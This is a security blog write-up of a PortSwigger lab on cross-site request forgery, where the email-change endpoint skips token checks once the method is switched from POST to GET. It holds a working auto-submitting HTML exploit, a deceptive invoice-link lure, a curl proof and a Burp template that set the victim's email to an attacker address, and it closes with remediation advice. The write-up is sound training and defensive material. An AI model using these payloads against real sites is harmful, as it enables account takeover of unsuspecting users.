Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where token validation depends on request method

CSRF where token validation depends on request method: Exploit a CSRF weakness in the email change endpoint where token validation is only enforced for certain HTTP methods. Craft a request that changes the victim’s email without a valid CSRF token. • PortSwigger • Cross-site request forgery (CSRF) • validation, token

2022-07-102 tags
Tags

🎯 Objective

Exploit a CSRF weakness in the email change endpoint where token validation is only enforced for certain HTTP methods. Craft a request that changes the victim’s email without a valid CSRF token.


🧭 Lab Summary

  • Vulnerability: CSRF (token checked for some methods only)
  • Target action: Change user email
  • Session handling: Cookie-based
  • Unpredictable parameters: None (only email)
  • Key flaw: Token validation omitted when the request method is switched (e.g., POST ➜ GET).

✅ TL;DR (Exploit in 1 Minute)

  1. Intercept the legitimate POST request to change email.
  2. Remove the CSRF token and switch the request method to GET.
  3. Provide email as a query string parameter.
  4. Host an auto-submitting HTML page that triggers the GET request in the victim’s browser (cookies auto‑attach).
  5. Victim loads the page → email changed.

🔍 Recon & Observations

When testing the functionality, removing the CSRF token still allowed the request to proceed. The server redirected the request, meaning the CSRF protection is not properly implemented for the tested method.

Server accepts email change without token


🧪 Step-by-Step

1) Baseline Request (Legit POST)

Captured via Burp:

http
POST /my-account/change-email HTTP/1.1
Host: TARGET
Cookie: session=...
Content-Type: application/x-www-form-urlencoded

email=victim%40example.com&csrf=VALID_TOKEN

2) Remove Token (Still POST) — Control Check

Remove csrf and resend. App redirects (302) and lands on a 200 OK page (no token error).

3) Method Switch to GET (Bypass)

Construct a GET request with the same parameter:

http
GET /my-account/change-email?email=attacker%40evil.com HTTP/1.1
Host: TARGET
Cookie: session=...

Why this works: The backend validates tokens for POST but neglects equivalent state‑changing GET requests. Browsers attach cookies on same‑site cross‑origin navigations, enabling CSRF without a token.

4) Confirm State Change

  • Observe 302 ➜ 200 flow
  • Check profile page; email should be updated to attacker@evil.com.

🧨 Exploit (Host on Exploit Server)

Serve this HTML (auto-submits a GET without any token):

html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>CSRF – Method Bypass</title>
  </head>
  <body>
    <form id="exploit" action="https://TARGET/my-account/change-email" method="GET">
      <input type="hidden" name="email" value="attacker@evil.com">
    </form>
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

Replace https://TARGET with the lab domain. When a logged‑in victim visits this page, the browser sends a GET with session cookies → email changed.

Alternative (no form, pure link lure):

html
<a href="https://TARGET/my-account/change-email?email=attacker@evil.com">Click to view your invoice</a>

(Click‑through required; useful for social‑engineering scenarios.)


🧰 cURL Proof (Local Verification)

bash
# Remove token and switch to GET
curl -i -s -k   -H 'Cookie: session=YOUR_SESSION'   'https://TARGET/my-account/change-email?email=attacker@evil.com'

🛡️ Remediation (What the App Should Do)

  • Enforce CSRF tokens for all state‑changing endpoints and all accepted methods (POST/PUT/PATCH/DELETE/GET if supported).
  • Reject GET for state changes (idempotency): use POST only.
  • Add SameSite=Lax/Strict cookies (+ Secure, HttpOnly) to reduce CSRF surface.
  • Implement Origin/Referer checks as a defense-in-depth, not a sole control.
  • Consider double-submit or SameSite=Strict for sensitive flows.

🧩 Notes & Gotchas

  • Some frameworks auto‑wire CSRF only for POST; custom routes handling GET mutations slip past.
  • Proxies/caches can mask behavior (302 ➜ 200). Always confirm state change.
  • If Content-Type impacts validation (e.g., JSON vs. form), test both. Method+type matrices often hide bypasses.

✅ Verification Checklist

  • GET request without token accepted
  • Email changes to attacker-controlled address
  • PoC HTML reliably auto-submits in common browsers
  • Session cookies present on request (same-site navigation)

🗂️ Appendix — Burp PoC Template (Editable)

html
<form action="https://TARGET/my-account/change-email" method="GET">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="submit" value="Update Email">
</form>
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Lab Summary
  3. 03✅ TL;DR (Exploit in 1 Minute)
  4. 04🔍 Recon & Observations
  5. 05🧪 Step-by-Step
  6. 061) Baseline Request (Legit POST)
  7. 072) Remove Token (Still POST) — Control Check
  8. 083) Method Switch to GET (Bypass)
  9. 094) Confirm State Change
  10. 10🧨 Exploit (Host on Exploit Server)
  11. 11🧰 cURL Proof (Local Verification)
  12. 12🛡️ Remediation (What the App Should Do)
  13. 13🧩 Notes & Gotchas
  14. 14✅ Verification Checklist
  15. 15🗂️ Appendix — Burp PoC Template (Editable)
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.